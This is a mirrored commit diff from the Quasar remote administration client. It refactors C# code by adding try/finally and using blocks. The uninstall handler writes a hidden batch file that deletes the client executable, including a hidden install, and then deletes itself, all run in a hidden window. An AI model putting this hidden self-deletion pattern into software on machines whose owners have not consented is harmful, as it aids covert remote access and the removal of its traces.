mirror of https://github.com/quasar/Quasar.git
Improved Behavior
Improved the behavior consistency in the code by implementing try-catch blocks.
This commit is contained in:
parent
efc6b3067c
commit
c6c1cb2022
|
@ -171,33 +171,38 @@ namespace xClient.Core.Commands
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".bat"));
|
try
|
||||||
|
{
|
||||||
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
|
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".bat"));
|
||||||
"@echo off" + "\n" +
|
|
||||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
|
||||||
"ping -n 20 localhost > nul" + "\n" +
|
|
||||||
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
|
||||||
"del " + "\"" + filename + "\""
|
|
||||||
:
|
|
||||||
"@echo off" + "\n" +
|
|
||||||
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
|
||||||
"ping -n 20 localhost > nul" + "\n" +
|
|
||||||
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
|
||||||
"del " + "\"" + filename + "\""
|
|
||||||
;
|
|
||||||
|
|
||||||
File.WriteAllText(filename, uninstallBatch);
|
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
|
||||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
"@echo off" + "\n" +
|
||||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||||
startInfo.CreateNoWindow = true;
|
"ping -n 20 localhost > nul" + "\n" +
|
||||||
startInfo.UseShellExecute = true;
|
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||||
startInfo.FileName = filename;
|
"del " + "\"" + filename + "\""
|
||||||
Process.Start(startInfo);
|
:
|
||||||
|
"@echo off" + "\n" +
|
||||||
|
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||||
|
"ping -n 20 localhost > nul" + "\n" +
|
||||||
|
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
|
||||||
|
"del " + "\"" + filename + "\""
|
||||||
|
;
|
||||||
|
|
||||||
CloseShell();
|
File.WriteAllText(filename, uninstallBatch);
|
||||||
SystemCore.Disconnect = true;
|
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||||
client.Disconnect();
|
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||||
|
startInfo.CreateNoWindow = true;
|
||||||
|
startInfo.UseShellExecute = true;
|
||||||
|
startInfo.FileName = filename;
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
CloseShell();
|
||||||
|
SystemCore.Disconnect = true;
|
||||||
|
client.Disconnect();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
|
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
|
||||||
|
@ -411,12 +416,17 @@ namespace xClient.Core.Commands
|
||||||
Request.AllowAutoRedirect = true;
|
Request.AllowAutoRedirect = true;
|
||||||
Request.Timeout = 10000;
|
Request.Timeout = 10000;
|
||||||
Request.Method = "GET";
|
Request.Method = "GET";
|
||||||
HttpWebResponse Response = (HttpWebResponse)Request.GetResponse();
|
|
||||||
Stream DataStream = Response.GetResponseStream();
|
using (HttpWebResponse Response = (HttpWebResponse)Request.GetResponse())
|
||||||
StreamReader reader = new StreamReader(DataStream);
|
{
|
||||||
reader.Close();
|
using (Stream DataStream = Response.GetResponseStream())
|
||||||
DataStream.Close();
|
{
|
||||||
Response.Close();
|
using (StreamReader reader = new StreamReader(DataStream))
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{ }
|
{ }
|
||||||
|
|
Loading…
Reference in New Issue